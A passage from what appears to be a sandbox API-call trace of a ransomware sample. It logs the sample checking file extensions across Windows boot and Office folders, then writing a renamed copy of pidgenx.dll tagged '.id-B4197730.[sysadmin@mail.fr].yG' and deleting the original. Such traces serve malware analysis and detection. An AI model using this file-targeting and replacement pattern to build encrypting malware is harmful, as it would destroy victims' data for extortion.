	[0179.484] lstrlenW (lpString=".ppt") returned 4
	[0179.484] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.484] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.484] lstrlenW (lpString=".zip") returned 4
	[0179.484] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.484] lstrlenW (lpString=".rar") returned 4
	[0179.484] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.484] lstrlenW (lpString=".bz2") returned 4
	[0179.484] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.484] lstrlenW (lpString=".7z") returned 3
	[0179.484] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.484] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.484] lstrlenW (lpString=".dbf") returned 4
	[0179.484] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.484] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.484] lstrlenW (lpString=".1cd") returned 4
	[0179.484] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.484] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.484] lstrlenW (lpString=".jpg") returned 4
	[0179.484] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.484] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.484] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0179.485] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.485] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=77152) returned 1
	[0179.485] CloseHandle (hObject=0x350) returned 1
	[0179.485] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20
	[0179.485] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.485] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.486] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.486] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.486] lstrlenW (lpString=".doc") returned 4
	[0179.486] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.486] lstrlenW (lpString=".docx") returned 5
	[0179.486] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.486] lstrlenW (lpString=".pdf") returned 4
	[0179.486] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.486] lstrlenW (lpString=".xls") returned 4
	[0179.486] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.486] lstrlenW (lpString=".xlsx") returned 5
	[0179.486] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.486] lstrlenW (lpString=".ppt") returned 4
	[0179.486] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.486] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.486] lstrlenW (lpString=".zip") returned 4
	[0179.486] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.486] lstrlenW (lpString=".rar") returned 4
	[0179.486] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.486] lstrlenW (lpString=".bz2") returned 4
	[0179.486] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.486] lstrlenW (lpString=".7z") returned 3
	[0179.486] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.486] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.487] lstrlenW (lpString=".dbf") returned 4
	[0179.487] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.487] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.487] lstrlenW (lpString=".1cd") returned 4
	[0179.487] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.487] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.487] lstrlenW (lpString=".jpg") returned 4
	[0179.487] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.487] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.487] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.487] lstrlenW (lpString=".doc") returned 4
	[0179.487] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.487] lstrlenW (lpString=".docx") returned 5
	[0179.487] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.487] lstrlenW (lpString=".pdf") returned 4
	[0179.487] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.487] lstrlenW (lpString=".xls") returned 4
	[0179.487] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.487] lstrlenW (lpString=".xlsx") returned 5
	[0179.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.487] lstrlenW (lpString=".ppt") returned 4
	[0179.487] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.487] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.487] lstrlenW (lpString=".zip") returned 4
	[0179.487] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.487] lstrlenW (lpString=".rar") returned 4
	[0179.487] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.488] lstrlenW (lpString=".bz2") returned 4
	[0179.488] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.488] lstrlenW (lpString=".7z") returned 3
	[0179.488] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.488] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.488] lstrlenW (lpString=".dbf") returned 4
	[0179.488] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.488] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.488] lstrlenW (lpString=".1cd") returned 4
	[0179.488] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.488] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0179.488] lstrlenW (lpString=".jpg") returned 4
	[0179.488] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.488] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.488] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0179.489] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.489] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=44960) returned 1
	[0179.489] CloseHandle (hObject=0x350) returned 1
	[0179.489] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20
	[0179.490] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.490] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.490] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.490] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.490] lstrlenW (lpString=".doc") returned 4
	[0179.490] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.490] lstrlenW (lpString=".docx") returned 5
	[0179.490] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.490] lstrlenW (lpString=".pdf") returned 4
	[0179.490] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.490] lstrlenW (lpString=".xls") returned 4
	[0179.490] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.490] lstrlenW (lpString=".xlsx") returned 5
	[0179.490] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.490] lstrlenW (lpString=".ppt") returned 4
	[0179.490] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.490] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.490] lstrlenW (lpString=".zip") returned 4
	[0179.490] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.490] lstrlenW (lpString=".rar") returned 4
	[0179.490] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.490] lstrlenW (lpString=".bz2") returned 4
	[0179.490] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.491] lstrlenW (lpString=".7z") returned 3
	[0179.491] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.491] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.491] lstrlenW (lpString=".dbf") returned 4
	[0179.491] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.491] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.491] lstrlenW (lpString=".1cd") returned 4
	[0179.491] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.491] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.491] lstrlenW (lpString=".jpg") returned 4
	[0179.491] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.491] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.491] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.491] lstrlenW (lpString=".doc") returned 4
	[0179.491] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.491] lstrlenW (lpString=".docx") returned 5
	[0179.491] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.491] lstrlenW (lpString=".pdf") returned 4
	[0179.491] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.491] lstrlenW (lpString=".xls") returned 4
	[0179.491] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.491] lstrlenW (lpString=".xlsx") returned 5
	[0179.492] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.492] lstrlenW (lpString=".ppt") returned 4
	[0179.492] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.492] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.492] lstrlenW (lpString=".zip") returned 4
	[0179.492] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.492] lstrlenW (lpString=".rar") returned 4
	[0179.492] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.492] lstrlenW (lpString=".bz2") returned 4
	[0179.492] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.492] lstrlenW (lpString=".7z") returned 3
	[0179.492] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.492] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.492] lstrlenW (lpString=".dbf") returned 4
	[0179.493] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.493] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.493] lstrlenW (lpString=".1cd") returned 4
	[0179.493] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.493] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29
	[0179.493] lstrlenW (lpString=".jpg") returned 4
	[0179.493] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.493] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.494] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0179.494] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.494] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=77144) returned 1
	[0179.495] CloseHandle (hObject=0x350) returned 1
	[0179.495] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20
	[0179.495] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.495] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.495] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.495] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.495] lstrlenW (lpString=".doc") returned 4
	[0179.495] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.495] lstrlenW (lpString=".docx") returned 5
	[0179.495] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.495] lstrlenW (lpString=".pdf") returned 4
	[0179.495] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.495] lstrlenW (lpString=".xls") returned 4
	[0179.495] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.495] lstrlenW (lpString=".xlsx") returned 5
	[0179.495] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.495] lstrlenW (lpString=".ppt") returned 4
	[0179.495] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.495] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.496] lstrlenW (lpString=".zip") returned 4
	[0179.496] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.496] lstrlenW (lpString=".rar") returned 4
	[0179.496] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.496] lstrlenW (lpString=".bz2") returned 4
	[0179.496] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.496] lstrlenW (lpString=".7z") returned 3
	[0179.496] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.496] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.496] lstrlenW (lpString=".dbf") returned 4
	[0179.496] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.496] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.496] lstrlenW (lpString=".1cd") returned 4
	[0179.496] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.496] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.496] lstrlenW (lpString=".jpg") returned 4
	[0179.496] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.496] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.496] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.496] lstrlenW (lpString=".doc") returned 4
	[0179.496] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.496] lstrlenW (lpString=".docx") returned 5
	[0179.496] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.497] lstrlenW (lpString=".pdf") returned 4
	[0179.497] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.497] lstrlenW (lpString=".xls") returned 4
	[0179.497] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.497] lstrlenW (lpString=".xlsx") returned 5
	[0179.497] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.497] lstrlenW (lpString=".ppt") returned 4
	[0179.497] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.497] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.497] lstrlenW (lpString=".zip") returned 4
	[0179.497] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.497] lstrlenW (lpString=".rar") returned 4
	[0179.497] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.497] lstrlenW (lpString=".bz2") returned 4
	[0179.497] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.497] lstrlenW (lpString=".7z") returned 3
	[0179.497] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.497] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.497] lstrlenW (lpString=".dbf") returned 4
	[0179.497] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.497] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.497] lstrlenW (lpString=".1cd") returned 4
	[0179.497] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.497] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29
	[0179.497] lstrlenW (lpString=".jpg") returned 4
	[0179.497] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.498] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.498] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0179.498] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.498] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=76640) returned 1
	[0179.498] CloseHandle (hObject=0x350) returned 1
	[0179.498] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20
	[0179.499] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.499] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.499] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29
	[0179.499] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29
	[0179.499] lstrlenW (lpString=".doc") returned 4
	[0179.499] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.499] lstrlenW (lpString=".docx") returned 5
	[0179.499] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.499] lstrlenW (lpString=".pdf") returned 4
	[0179.499] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.499] lstrlenW (lpString=".xls") returned 4
	[0179.499] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.499] lstrlenW (lpString=".xlsx") returned 5
	[0179.499] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.499] lstrlenW (lpString=".ppt") returned 4
	[0179.499] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.499] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29
	[0179.499] lstrlenW (lpString=".zip") returned 4
	[0179.499] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.499] lstrlenW (lpString=".rar") returned 4
	[0179.499] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.499] lstrlenW (lpString=".bz2") returned 4
	[0179.499] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.500] lstrlenW (lpString=".7z") returned 3
	[0179.500] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.786] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.786] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0179.787] GetLastError () returned 0x0
	[0179.787] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0179.996] WriteFile (in: hFile=0x358, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0180.466] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x68268, lpOverlapped=0x0) returned 1
	[0180.484] WriteFile (in: hFile=0x358, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x68270, lpOverlapped=0x0) returned 1
	[0180.500] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.500] WriteFile (in: hFile=0x358, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1
	[0180.500] SetEndOfFile (hFile=0x358) returned 1
	[0180.500] CloseHandle (hObject=0x358) returned 1
	[0180.743] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.743] SetEndOfFile (hFile=0x354) returned 1
	[0180.759] CloseHandle (hObject=0x354) returned 1
	[0180.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0180.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1
	[0180.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.760] lstrlenW (lpString=".doc") returned 4
	[0180.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.760] lstrlenW (lpString=".docx") returned 5
	[0180.760] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0180.760] lstrlenW (lpString=".pdf") returned 4
	[0180.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.760] lstrlenW (lpString=".xls") returned 4
	[0180.760] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.760] lstrlenW (lpString=".xlsx") returned 5
	[0180.760] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0180.760] lstrlenW (lpString=".ppt") returned 4
	[0180.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.761] lstrlenW (lpString=".zip") returned 4
	[0180.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.761] lstrlenW (lpString=".rar") returned 4
	[0180.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.761] lstrlenW (lpString=".bz2") returned 4
	[0180.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.761] lstrlenW (lpString=".7z") returned 3
	[0180.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.761] lstrlenW (lpString=".dbf") returned 4
	[0180.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.761] lstrlenW (lpString=".1cd") returned 4
	[0180.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.761] lstrlenW (lpString=".jpg") returned 4
	[0180.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.761] lstrlenW (lpString=".doc") returned 4
	[0180.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.761] lstrlenW (lpString=".docx") returned 5
